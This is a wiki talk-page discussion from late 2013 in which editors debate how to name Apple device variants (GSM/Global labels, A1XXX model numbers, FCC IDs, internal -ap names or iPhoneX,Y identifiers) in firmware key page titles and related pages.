:I suggest we wait a bit until we see what models of the [[iPhone 5c]] and [[iPhone 5s]] will exist. But in general, I like the idea of using only the A1nnn numbers. The only issue I see right now is that Apple differentiates between A1532 GSM and A1532 CDMA. If there are real hardware differences between these two, then we're screwed again. That's why I suggest to wait until we know these exact model types. On the disambiguation page I added the GSM/CDMA model differentiation already (as Apple does). If they turn out to be the same, we can remove it again, but I wonder why Apple lists two models (with different bands supported) there now. Someone also added the "CDMA" mark to one of the others, but that's not how Apple marks them, so I suggest to remove that mark there again. If everything can be differentiated by these A-model-numbers, then yes, we should change the old pages too. Including all key pages. --[[User:Http|http]] ([[User talk:Http|talk]]) 14:44, 13 September 2013 (UTC)

::I do know there are 2 CDMA and 3-4 GSM for the [[iPhone 5c]] alone. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 16:04, 13 September 2013 (UTC)

:::Ahem… ''All'' of the iPhone 5c models can do GSM communications. Hence one of the reasons why I want to ditch the "GSM"/"Global"/etc. labels in favor of A1XXX model numbers. ;P --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 16:07, 13 September 2013 (UTC)

::::One thing is, what about iPod touch 5 as that has two model numbers that are the same device, same with iPhone5,2. How would we get around that? I suppose we could like both separated with a forward slash. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 18:19, 13 September 2013 (UTC)

:::::Yeah, we could just use something like "[[n42ap|iPhone 5 (Model A1429/A1442)]]." --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 22:45, 13 September 2013 (UTC)

::::::Yeah I thought that but what about the iPhone 4 GSM and GSM Rev A? They both seem to be A1432. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 23:10, 13 September 2013 (UTC)

:::::::This is why I'm against using the A1XXX model numbers instead of the current GSM/Global thing. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 23:25, 13 September 2013 (UTC)

::::::::I had no plans to change the way we refer to the iPhone 4 or iPad 2 (Apple does use GSM/CDMA, and for those devices it works fine). If a new iPhone 5S revision comes along, Apple will probably refer to it as a "Rev A" thing, and so will we. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 02:50, 14 September 2013 (UTC)

:Referencing Adam's reply above, if we had took that to the key pages, it'd be <code>[<nowiki/>[{BuildTrain} {Build} (A1432)]]</code> which would mess ''everything'' up. What could we do? Use <code>[<nowiki/>[{BuildTrain} {Build} (A1432 Rev A)]]</code>? No. That doesn't look good. The current way of referring to everything by their supported network type (GSM/CDMA/Global) helps in going to a different page.
:Let's say I'm on [[BrightonMaps 10B329 (iPhone 4 GSM)]] and I want to go the CDMA device. What do I do? Go to the URL and replace <code>GSM</code> with <code>CDMA</code>. With the model numbers, I'd have to navigate to [[Firmware]], then find the link, or find out what the model number of the CDMA variant is and replace the model number in the URL with that. 
:Ok, who navigates by the URL and search bar? ''I do''. And I'm sure there's '''many''' people out there that prefer to navigate with the search bar if they know the page name. If we go by model number, the AJAX search results just list pages with a model number in parenthesis. '''How does that help'''? I'd either have to ''know'' the model number of the device I want, or visit ''each one'' until I find the page I need.
:Sorry for the rant, but I am '''strongly''' against this. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 23:25, 13 September 2013 (UTC)

::I do suppose we could just trash the buildtrain all together to shorten it down too. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 23:32, 13 September 2013 (UTC)

:::Dropping the Build Train would only ''increase'' the workload. Besides, what's the harm with it? We've been using the same page title structure since forever, and it's worked. "''If it ain't broke, don't fix it''". The current system works, so ''why'', other than the fact that Apple refers to them differently, should we change this? In addition, we don't refer to everything the way Apple does. The [[iPad mini 1G]] is referred to as the "iPad mini". The [[iPad 3]] is refered to as "The New iPad". The [[iPad 4]] is refered to as "iPad with Retina Display"[http://www.apple.com/ipad/compare/]. Are the key pages titled <code>BrightonMaps 10B329 (The New iPad, Wi-Fi+3G for AT&T and Verizon)</code>? No. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 00:37, 14 September 2013 (UTC)

::::But the reason we want to not use the variants is because the new devices that are coming out are breaking he structure and also CDMA versions can use GSM in the 5c plus we have like 4 for GSM alone. I only meant drop buildtrain to shorten the urls down. For the iPhone 4 GSM Rev A we would have to list it as <code>iPhone 4 A1432 Rev</code> unless another idea is thought of. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 00:55, 14 September 2013 (UTC)

:::::No. Anything involving moving key pages to change their title I am ''completely'' against. As for the iPhone 5s and iPhone 5c, we ultimately have to wait. There may be different types, but if they all work with the same firmware, then what do we do then? Use <code>A1456/A1504</code>? I don't want to do that. It can get confusing in the future if that list were to be huge. With ''5'' different models for the iPhone 5c ''alone'', it's just not practical. For the fact that all support GSM, but not all support CDMA, we just do what we've ''been'' doing: "GSM" and "Global". --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 01:22, 14 September 2013 (UTC)

::::::There's nothing wrong with changing the titles of pages that don't even exist though. If *all* of the models use the same firmware, just go with "iPhone 5s." If they happen to be partitioned into two different firmwares again, that will certainly complicate things, but it wouldn't be worse than nonsense like "GSM," "GSM [<nowiki />Global]," "CDMA," "CDMA [<nowiki />Global]," or "GSM [<nowiki />Global Plus TD-LTE]." If it's just one oddball, we could just have "iPhone 5s" and "iPhone 5s A1XXX" (whatever the odd one is), and include a link on the former page to say "keys for model A1XXX are on this page." --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 02:50, 14 September 2013 (UTC)

::::I probably didn't phrase that well… I wasn't thinking of how Apple markets the product, but rather more along the lines of how they refer to it in, say, the tech specs page or support documents— the pages that shows the messier side to their simple sugar coating. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 02:50, 14 September 2013 (UTC)

::You keep misinterpreting/misrepresenting what I'm proposing. I never said anything about dropping, say, "iPhone 5" so firmware page titles would look like [[Sundance 10A405 (A1428)]]. I want to change the GSM/Global part to the A1XXX number, so it would probably show like [[Sundance 10A405 (iPhone 5 A1428)]]. (If a hardware revision were made, it would probably look like [[Sundance 10A405 (iPhone 5 A1428 Rev A)]].) From time to time, I edit URLs to browse the wiki too. But the GSM/Global identifiers don't work that well; again, '''all iPhone 5 models can connect to GSM'''. That's not really helpful. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 02:50, 14 September 2013 (UTC)

:::I suggest we drop the A and use Rev. As for the idea of changing to A1XXX, I see no issues and am for the idea. I admit it can cause chaos when we move the pages but we could limit the moving per day of course. Overall, I think it will be worth it. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 10:01, 14 September 2013 (UTC)

::::No. Don't drop the <code>A</code> from <code>Rev A</code>. Why would you even think to? You want to call them what Apple calls them, and the [[n90bap|revised iPhone 4 GSM]] is referred to with <code>Rev A</code>. In addition, there have been <code>Rev ''B''</code> things before, such as the [[S5L8947]] (A5 Rev B) used in the [[j33iap|revised Apple TV 3G]]. In addition, think of all the redirects we would need to keep for sites that link to key pages directly. I have even seen sites that still link with the URLs as <code>/wiki/index.php?title={Title}</code> instead of the year old change to <code>/wiki/{Title}</code>. The wiki handles that internally for us, but the redirects made in the moves would have to be kept. Currently, only the [[iPhone 5]] and [[iPad 4]] are the only devices referred to by their model numbers. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 20:53, 14 September 2013 (UTC)

:::That's why I don't want to change it. It's worked for us, and we have no idea how the new firmwares will be handled. I am betting that there will only be two firmware types - one for the GSM, and one for the Global (GSM+CDMA) model. The only reason they are split, IIRC, is because AT&T uses different LTE bands than rest of the GSM world.
:::Ultimately, the GSM/CDMA/Global monikors haven't caused any ''naming conflicts''. Ok, you don't want to use the ''marketing'' title. What about the way they are referred to on [[Apple Developer Center|ADC]], because that seems to be what you want. I may be misreading what you're saying again, but if we're going to do that, let's use their ''full'' title. Something <code>(iPad [4th generation Model A1458])</code> (iPad 4 Wi-Fi) and <code>(iPad Wi-Fi + Cellular [model for Verizon])</code> (iPad 3 Global). Does the first one tell you if the device is Wi-Fi or a Wi-Fi+3G model? Does the second one tell you ''at all'' that it is an [[iPad 3]], or that it supports GSM? No.
:::Apple has a history of being inconsistent. For example, the iPad 3 Wi-Fi is referred to on ADC (and iTunes) as "iPad Wi-Fi (3rd generation)" while the iPad 3 GSM is referred to as "iPad Wi-Fi + Cellular [model for AT&T]". What happened to the "3rd generation"? --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 20:53, 14 September 2013 (UTC)

::::We could always list as <code>iPhone 4 (iPhone3,1)</code> etc instead if that would be better. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 21:13, 14 September 2013 (UTC)

::::Why is there a need to explicitly keep "Wi-Fi" in a key page's title? All you need is a way to distinguish what model it is from its other variants— the A1XXX model number does just that. It's not like we referred to the AppleTV3,2 as "Apple TV 3G (New Single-Core A5)" or something. And obviously, we can use common sense to address the 3rd generation iPad issue you brought up… Now you're just nitpicking. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 05:28, 15 September 2013 (UTC)
:::::Actually, I think we should wait until we see the firmware for iPhone 5c/5s and then decide. TBH, as [[User:5urd|5urd]] said, it is ok as it is but of course if once the new firmware is out it is more confusing, then we can think again. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 14:12, 15 September 2013 (UTC)

:::::Come to think of it, we can use a mix of both; we can keep the "Global" moniker, but drop the "GSM" moniker in favor of the A1XXX model number. (The "GSM" moniker is the one that's been bothering me.) I think this works well for the iPad 3 (which is actually split into "CDMA" and "Global—" it probably doesn't need to be done for this), iPad 4, iPad mini 1G, and iPhone 5, but this leaves the question of what to do for the iPhone 5C/5S. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 04:04, 19 September 2013 (UTC)

::::::That would look worse! If we are going to do it, we have to do it for '''''all'''''. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 09:40, 19 September 2013 (UTC)

:::::::What is the status on this now? --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 21:18, 9 November 2013 (UTC)

:::::This discussion has stagnated, but I'm firing it up again— I want to fix this before the end of the year, so this can probably be seen as an ultimatum. Now that Apple has pushed a 7.1 beta to developers, we now know how Apple's splitting the new iPhones up— and it's by A1XXX model numbers still. :\ That's probably the path the wiki will go down, but I do have another idea. The other idea I have in mind is using the A1XXX model number for the cellular devices launched last year. But for this year's iPhones, the FCC ID is actually different between the two, so we could actually use that. Before this gets nitpicked on, the last letter can get changed to an "X" to signify that it's a wildcard of sorts. It's not a pretty solution so I do expect it to get shot down (hence why I'm going with the A1XXX model numbers unless everyone says otherwise), but I'm still throwing it out there in case everyone actually likes that. Everyone is welcome to suggest alternatives, but I '''will''' eliminate that GSM label before the year ends. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 18:31, 18 November 2013 (UTC)

::::::That is worse, nobody knows the FCC ID off the top of their head. I would suggest "iPhone 5 (iPhone5,1)" if anything. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 18:37, 18 November 2013 (UTC)

:::::::Using "iPhone5,1" or "iPhone6,2" is even ''less'' friendly… The FCC ID can be looked up in Settings or the back of a device. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 19:06, 18 November 2013 (UTC)

::::::::Well that is not the point. I say either use the firmware name or leave it alone. See what others thing though. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 19:13, 18 November 2013 (UTC)

:::::::::I currently plan on using the A1XXX model numbers— the FCC ID proposal was just thrown out there in the off chance that someone might like it. I'm not really a fan of it myself, but the FCC ID is probably the simplest way to figure out if it's an iPhone6,1 or iPhone6,2 since both have multiple A1XXX model numbers. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 19:19, 18 November 2013 (UTC)

::::::I agree to get rid of the "GSM" name, as almost all iPhones support GSM. The Axxxx numbers would be nice, but as some phones have several numbers, like A1457/A1518/A1528/A1530 (what is actually different between them?) we can't use it. For the FCC-ID, we can't use that either, because for example the iPhone 5 with FCC-ID BCG-E2599A stands for the GSM/A1428 and also for the GSM+CDMA/A1429 version. So I suggest to either use the identifier (like iPhone2,1) or better the internal name (like n88ap). That would have the advantage to separate them further, because the iPhone 4 A1332 has two internal versions: iPhone3,1/n90ap and the iPhone3,2/n90bap. The bigger question is where you want to use this. That determines mainly the name. On all the key pages? Then it must be a name that is different between models that use different firmwares. And regarding key pages, maybe we should delete all the key pages from this wiki and move them into some database instead and provide a nice user interface and API around it and integrate that into the wiki somehow. That way we can change all pages with one simple edit. For the name, I prefer the internal name. --[[User:Http|http]] ([[User talk:Http|talk]]) 23:43, 18 November 2013 (UTC)

:::::::We would have to edit key pages too. They should not be removed however. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 23:46, 18 November 2013 (UTC)

:::::::Well, I wasn't trying to say that we had to decide on one way to differentiate ''everything''; "GSM" does work fine for, say, the iPhone 4. The proposal I brought up today was using the FCC ID only for this year's (2013's) iPhones— last year's cellular devices would get the A1XXX model numbers (i.e. two different solutions for two different years). But as of right now, I like how using A1XXX model numbers sounds for all of the affected devices, mostly because that's the path Apple's going in their developer portal. Something like "iPhone 5s (Model A1457/A1518/A1528/A1530)" is admittedly a mouthful for this year's iPhones though. At the moment, I'm inquiring about how to label it on [[Firmware]] and such pages, but I'm sure the outcome can be adapted for key page titles as well. As for differences between the models, it seems to be the supported LTE bands. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 03:49, 19 November 2013 (UTC)

:::::::::I still think that unless it is "iPhone 5 (iPhone5,1)" it will be complicated but on the other hand, I kind of like the idea that [[User:Http|http]] had, using the internal identifiers like this "iPhone 5 (n42ap)". The only problem is that it would cause quite a bit of a flood moving the key pages, although this can be done like 15 per day each or something. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 09:20, 19 November 2013 (UTC)

::::::::::I'm pretty sure the only key page that exists for an A5 (or newer) device is [[Telluride 9A406 (iPhone 4S)]]. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 17:40, 21 November 2013 (UTC)

:::::::::::That was an example. I know there are no more A5 pages, only the one you said and two beta for iPhone 4S. I just meant that it would show the design. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 13:36, November 21, 2013 (UTC)

== "GSM" Replacement Proposals ==
Since this discussion has become extremely lengthy, here are the proposals (to my understanding) for changing the labels, each of which can be subject to changes (i.e. dropping the word "Model" from Proposal A). In an effort to conserve space (ironically, this still adds a significant amount of length), I only included a few models, which should give an idea of the proposal. Basically anything with an A5 or newer is involved. Feel free to edit this list if I missed or totally misinterpreted something. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 03:25, 22 November 2013 (UTC)
# Proposal A (A1XXX numbers)
#* iPad 4 (Model A1458)
#* iPad 4 (Model A1459)
#* iPad 4 (Model A1460)
#* iPhone 5 (Model A1428)
#* iPhone 5 (Model A1429/A1442)
#* iPhone 5c (Model A1456/A1532)
#* iPhone 5c (Model A1507/A1516/A1526/A1529)
#* [[InnsbruckTaos 11B554a (iPad 4 A1458)]]
#* [[InnsbruckTaos 11B554a (iPhone 5 A1429/A1442)]]
#* [[InnsbruckTaos 11B554a (iPhone 5c Model A1507/A1516/A1526/A1529)]]
# Proposal B (A1XXX + FCC ID)
#* iPad 4 (Model A1458)
#* iPad 4 (Model A1459)
#* iPad 4 (Model A1460)
#* iPhone 5 (Model A1428)
#* iPhone 5 (Model A1429/A1442)
#* iPhone 5c (BCG‑E2644A)
#* iPhone 5c (BCG‑E2694X)
#* [[InnsbruckTaos 11B554a (iPad 4 A1458)]]
#* [[InnsbruckTaos 11B554a (iPhone 5 A1429/A1442)]]
#* [[InnsbruckTaos 11B554a (iPhone 5c BCG‑E2694X)]]
# Proposal C (-AP Identifier)
#* iPad 4 (p101ap)
#* iPad 4 (p102ap)
#* iPad 4 (p103ap)
#* iPhone 5 (n41ap)
#* iPhone 5 (n42ap)
#* iPhone 5c (n48ap)
#* iPhone 5c (n49ap)
#* [[InnsbruckTaos 11B554a (iPad 4 p101ap)]]
#* [[InnsbruckTaos 11B554a (iPhone 5c n42ap)]]
#* [[InnsbruckTaos 11B554a (iPhone 5c n49ap)]]
# Proposal D (iPhoneX,Y Identifier)
#* iPad 4 (iPad3,4)
#* iPad 4 (iPad3,5)
#* iPad 4 (iPad3,6)
#* iPhone 5 (iPhone5,1)
#* iPhone 5 (iPhone5,2)
#* iPhone 5c (iPhone5,3)
#* iPhone 5c (iPhone5,4)
#* [[InnsbruckTaos 11B554a (iPad3,4)]]
#* [[InnsbruckTaos 11B554a (iPhone5,2)]]
#* [[InnsbruckTaos 11B554a (iPhone5,4)]]

:I like this [[InnsbruckTaos 11B554a iPad 4 (3,4)]] or [[InnsbruckTaos 11B554a iPad 4 (iPad3,4)]]. I see there are 4 ways to approach this;
1. Change every single device. 
2. Change just devices with different variants, iPad 2+, iPad mini+, iPhone 4, iPhone 5+. 
3. Change A5+ only (which I hate the idea of). 
4. Change nothing at all. 
--[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 09:28, 22 November 2013 (UTC)
::My intention for this was to be a ''neutral'' (i.e. opinion-free) spot where all of the proposals were being mentioned, so people could easily see the proposed changes without any bias… v.v --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 20:54, 22 November 2013 (UTC)
:::TBH, I think it is better as it is, but I just stated my opinion that only A5+ would make in inconsistent. Though you could argue it is already, that is down to Apple and furthermore, just A5+ would still not eliminate iPhone 4 (GSM, GSM Rev A or CDMA). --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 17:07, November 22, 2013‎ (UTC)}}
:Do it like #4, and do them all. --[[User:CompilingEntropy|CompilingEntropy]] ([[User talk:CompilingEntropy|talk]]) 18:40, 23 November 2013 (UTC)
::::It will be a pain, but I like [[User:CompilingEntropy|CompilingEntropy]]'s idea as it would make it much much better in the end. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 16:25, 25 November 2013 (UTC)
:I would say A and B are impossible due to various numbers in the same model. I like C best. For variant C you could also leave away the "ap" at the end, because every model has that, so it would be even shorter. For D, that's simply longer names and these names are not used at many places, but I could live with that version as well. --[[User:Http|http]] ([[User talk:Http|talk]]) 23:30, 1 December 2013 (UTC)
Taking into account everyone's thoughts on this, I think we'll probably go with option C. The wiki already uses the "-ap" identifiers for the model pages, and an identifier like "iPad3,4" may confuse someone into thinking it's a model of the [[iPad 3]]. (I would still like to use the A1XXX numbers since Apple does that, but nobody else seems to agree now…) I'll give this a few more days for any last words before acting on it. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 04:03, 26 December 2013 (UTC)
::It '''will''' get changed before the year ends. I don't know why your opinion keeps changing, but I have already explained the reason for changing it. You even agreed that it needs to be changed. I'm still open to suggestions on what to change it to though. Keep in mind that the change will affect not only key pages, but also how the devices will be referred to throughout the wiki. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 19:34, 26 December 2013 (UTC)
:::I know it will. I said it is fine to change. I like bot #3 and #4. Only point I must make is that I feel we should change all devices with multiple variants, including iPad Air and iPhone 4. This way, it is consistent and also removes GSM etc altogether. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 19:48, 26 December 2013 (UTC)
::I agree with Adam, if you're going to change some of them then change all of them. This includes iPods. Whatever the outcome, be consistent. As for the outcome itself, I really think we should just use device identifiers (iPhone2,1). That's what we're actually differentiating by, so it only makes sense to refer to devices by them. I don't think there would be any confusion, especially considering we'll keep the name of the device next to it regardless. Barring that, the next best option is ***ap. The other options don't make any sense considering modern devices. --[[User:CompilingEntropy|CompilingEntropy]] ([[User talk:CompilingEntropy|talk]]) 10:54, 30 December 2013 (UTC)
:::I like [[User:CompilingEntropy|CompilingEntropy]]'s idea, though I do not mind if we do every device or just ones with multiple variants, as long as that included pre A5 (iPhone 4) too. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 18:34, 30 December 2013 (UTC)

== "GSM" Replacement Proposals V2 ==
So this entire discussion came up because we need to remove "GSM" from models, because there are many models nowadays where the non-GSM model or Global or whatever model, all support GSM. One suggestion was the FCC number, but I think we already agreed that this is out of discussion (only used within USA and nobody refers to this number). So we have to use either
*The Axxxx number (like A1332 for the iPhone 4). This is how Apple identifies their devices.
*The ap number (like n94ap or just short N94). This is the internal name and used in internal references, like in the [[iBEC]] or [[iBSS]] filenames within an [[IPSW]]. (This is also what iH8sn0w has on his stickers on the devices.)
*The 1,2 number (like iPad1,1 for the iPad 1G). This identifier is used in the [[IPSW]] filenames.
There are several issues with using one over the other:
*Some devices (iPad 1G, iPhone 3G, iPhone 3GS, iPhone 4S, iPhone 5, iPhone 5c, iPhone 5s to be exact) have multiple Axxxx numbers for the same ap number/1,2 number. For example the iPad 1G: A1219 (WiFi model) and A1337 (GSM model) both have k48ap / iPad1,1. So only the Axxxx number could be used to replace the "GSM" identifier.
*The iPhone 4 has for A1332 two ap numbers/1,2 numbers: A1332 stands for both n90ap/iPhone3,1 and also for n90bap/iPhone3,2.
*The iPod touch 5G has the same 1,2 number for two ap numbers/Axxxx numbers: iPod5,1 stands for both A1421/n78ap and also for A1509/n78aap.
I understand the point from [[User:IAdam1n|iAdam1n]] somehow that we should make it consistent and change it everywhere in the same manner. The question is where to change what. So where do we use these terms?
*The biggest affected change would be the key pages, so any change there should be carefully considered. Currently we use something like: "InnsbruckTaos 11B554a (iPhone 5c Global)". So the discussion here is just about the change in the brackets. For the devices where no different hardware versions exist, I think the current naming is ok. So let's just continue using that. Only where different (sub-)devices exist for the same main model (like for the iPhone 5c) and they require a different firmware file, then we need to specify it. So we need to add something after the "iPhone 5c" to specify the difference. For older devices, we should leave it as it is, because it works very well there. For example the iPad 1G WiFi and GSM require different firmware, but can be differentiated that way. And we can't use the ap number, because both versions use k48ap, respectively iPad1,1. So I think we should leave the old devices as they are. For newer devices, like the iPhone 5c, there are only two variations for the firmware, but six different Axxxx numbers and we don't want to list all of them in the firmware name. We also cannot use "GSM" for the reason mentioned at the introduction. I would prefer to use the ap number there, but that yields to problems. In case of the iPod touch 5G, we have two models (A1421/n78ap and also A1509/n78aap). Fortunately both use the same firmware, so we don't have to specify anything. But if Apple would release an additional model that would require a different firmware, we would have to specify the name even here and we can't add a name like "n78ap+n78aap". The name iPod5,1 there seems to be the obvious choice, as it is contained in the ipsw name already, so it is unlikely that Apple will change that. The only question is the format then. My choice would be to keep it short, something like "InnsbruckTaos 11B554a (iPhone 5c [5,4])" instead of the current "InnsbruckTaos 11B554a (iPhone 5c Global)". We shouldn't repeat the word "iPhone" there. And we shouldn't remove the "5c" of the original name.
*We also have some hardware lists, for example on the key pages titles where we list under iPad 2: Wi-Fi, GSM, CDMA, Wi-Fi (A). They link directly to our ap-pages, for example the "Wi-Fi (A)" name links to "k93aap". I think we don't need to change this. For the iPhone 5c, we have GSM and Global and they also link to the ap-pages. The link remains there, so we would only change the name. I suggest to use the same short name as in the key page extension, so something like my suggested "[5,4]" for example (instead of "GSM").
*On the [[Models]] page, we have the column "Variant", which also lists "GSM" and "Global" etc. That would also need to change. I suggest to leave it for older devices where "GSM" is a valid differentiation. For newer devices we might list the bands it supports or something else.
*On hardware pages, like [[iPhone]], we also have names and links in the title bar. For devices that have different sub-devices (like the iPhone 4 and iPhone 5/5c/5s) I suggest to rename the title names to the ap-names, as they link to the respective page. I would not change the title "iPhone 3G" to "N82ap" although it links there. So this change would only apply to sub-titles.
--[[User:Http|http]] ([[User talk:Http|talk]]) 00:26, 31 December 2013 (UTC)
:Include iPhone 4 in the change and use same format everywhere on the wiki. I agree that we do not need to change devices with only one variant such as iPhone 3GS. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 00:59, 31 December 2013 (UTC)
:: I agree on that. 3GS, 3G and the 1st iPhone are anyway devices where I do not see too many wiki-related changes in the future.--[[User:M2m|M2m]] ([[User talk:M2m|talk]]) 09:57, 31 December 2013 (UTC)
:I don't like how the abbreviated form of "iPad3,4" looks— I understand wanting to keep "iPad 4" in the name, but I can't come up with alternatives besides going with only the identifier. (Another issue is that MediaWiki's markup parser doesn't seem to like square brackets in links— I tried using <code><nowiki><nowiki /></nowiki></code>.) Having thought it over for a few days, I'm more receptive to changing all multi-variant devices (i.e. including the iPhone 4), but my concern about the Recent changes getting flooded with page moves still exists. The page moves should be done on "quiet" days, when the wiki doesn't see much activity. That being said, this is my understanding of the proposed changes. Does everyone agree with the following?
:* On pages like [[iPhone]], the variant labels will be replaced with the identifier, e.g. iPhone3,1/iPhone3,2/iPhone3,3. (An exception will probably need to be made for the iPad1,1. The "Internal Name" row should also be modified because there will be duplicated information.)
:* On [[Models]], the variant labels will be replaced with something else for the iPhone 5 and newer. (I feel like there are too many LTE bands to list in such a spot, but I don't have any better ideas.)
:* On pages such as [[Firmware]] and [[Jailbreak]], labels will be changed to things like "iPhone 4 (iPhone3,1)" and "iPad 4 (iPad3,4)." Single-variant devices like the Apple TV 2G will remain as-is.
:* The key pages will be moved to a different title, to resemble the following.
:** <del>[[InnsbruckTaos 11B554a (AppleTV3,1)]]</del> [[InnsbruckTaos 11B554a (Apple TV AppleTV3,1)]]
:** <del>[[InnsbruckTaos 11B554a (iPad2,4)]]</del> [[InnsbruckTaos 11B554a (iPad 2 iPad2,4)]]
:** <del>[[InnsbruckTaos 11B554a (iPhone3,1)]]</del> [[InnsbruckTaos 11B554a (iPhone 4 iPhone3,1)]]
:** [[InnsbruckTaos 11B554a (iPod touch 5G)]]
:Do let me know if I missed something. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 23:57, 31 December 2013 (UTC)
::I agree with your idea [[User:Dialexio|Dialexio]], but make every page use iPhone 4 (iPhone3,1) etc. Of course if pages use iPhone 4 (GSM) now, change that to iPhone 4 (iPhone3,1) or iPhone 4 (3,1). I would suggest moving 10 pages per day for the iPhone 4 to avoid flooding. I do not want some pages to include the AP identifier and some others iPhone3,1 for example. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 00:08, 1 January 2014 (UTC)
:::Several comments:
*The square brackets were just an idea, nothing agreed on that yet. And yes, let's forget this idea if it has problems with MediaWiki.
*The beginning of the name should remain, otherwise we're getting inconsistent with other pages. I agree with [[User:IAdam1n|iAdam1n]] on this. To keep it short, my favorite would be something like "iPhone 4 (3,1)" then. But to make it more clear, "iPhone4 (iPhone3,1)" is also ok to me. If you wanted to leave the first part away and just use "iPhone3,1", then we would have to rename ALL pages (that's also an option).
*Regarding flooding, I prefer that we do all changes at once, at an agreed date/time, done by [[User:Dialexio|Dialexio]]. Maybe in two steps: first step to change the few hardware pages plus one page of each device of the key pages. In the second step the rest. This would ensure that any misunderstandings get catched in the first step, before all pages are renamed. I don't like to have 20 edits per day that I have to go through. Better all at once, but only after agreement of all.
*Yes, we can do iPhone 4 too, if that't the only missing one. It was a misunderstanding on my part for iPad GSM/WiFi, as this doesn't have different firmwares (only on hardware pages needed).
*Regarding the proposed listing of the bands on the [[Models]] page, Variant column, we could only list the bands that are different to make it short.

Can we list here what pages would be affected by the changes? Feel free to edit this list here within my comment. Here's what I have in mind:
*[[Models]]
*[[Apple TV]], [[iPad]], [[iPad mini]], [[iPhone]], [[iPod touch]]
*[[Firmware Keys]]
*[[Firmware]], [[Beta Firmware]]
*[[Jailbreak]]
*key pages: iPhone 4 GSM (like [[Telluride 9A334 (iPhone 4 GSM)]]), total 69 existing pages
*key pages: iPhone 4 GSM (A) (like [[InnsbruckVailPrime 11A4372q (iPhone 4 GSM Rev A)]]), total 21 existing pages
*key pages: iPhone 4 CDMA (like [[BrightonMaps 10B329 (iPhone 4 CDMA)]]), total 50 existing pages
*key pages: iPhone 5 GSM (nonexistent)
*key pages: iPhone 5 Global (nonexistent)
*key pages: iPhone 5c and 5s (nonexistent)
*key pages: iPad 2 Wi-Fi (like [[Durango 8G4 (iPad 2 Wi-Fi)]]), total 5 existing pages
*key pages: iPad 2 GSM (like [[Durango 8G4 (iPad 2 GSM)]]), total 5 existing pages
*key pages: iPad 2 CDMA (like [[Durango 8G4 (iPad 2 CDMA)]]), total 5 existing pages
*key pages: iPad 2 Wi-Fi Rev A (nonexistent)
*key pages: iPad 3 Wi-Fi (nonexistent)
*key pages: iPad 3 CDMA (nonexistent)
*key pages: iPad 3 Global (nonexistent)
*key pages: iPad 4 Wi-Fi (nonexistent)
*key pages: iPad 4 GSM (nonexistent)
*key pages: iPad 4 Global (nonexistent)
*key pages: iPad Air Wi-Fi (nonexistent)
*key pages: iPad Air Cellular (nonexistent)
*key pages: iPad mini Wi-Fi (nonexistent)
*key pages: iPad mini GSM (nonexistent)
*key pages: iPad mini Global (nonexistent)
*key pages: iPad mini 2G Wi-Fi (nonexistent)
*key pages: iPad mini 2G Cellular (nonexistent)
The key pages would get moved without redirect and all references updated. The references should also be in this list above. Add it to the list if I forgot anything.
--[[User:Http|http]] ([[User talk:Http|talk]]) 15:07, 1 January 2014 (UTC)
::::Yes that is fine. I said the 10 a day to avoid a big flood, but I do not mind either way. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 15:13, January 1, 2014‎ (UTC)
::::Looks good. I amended the list to include the iPads as well. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 17:51, 1 January 2014 (UTC)
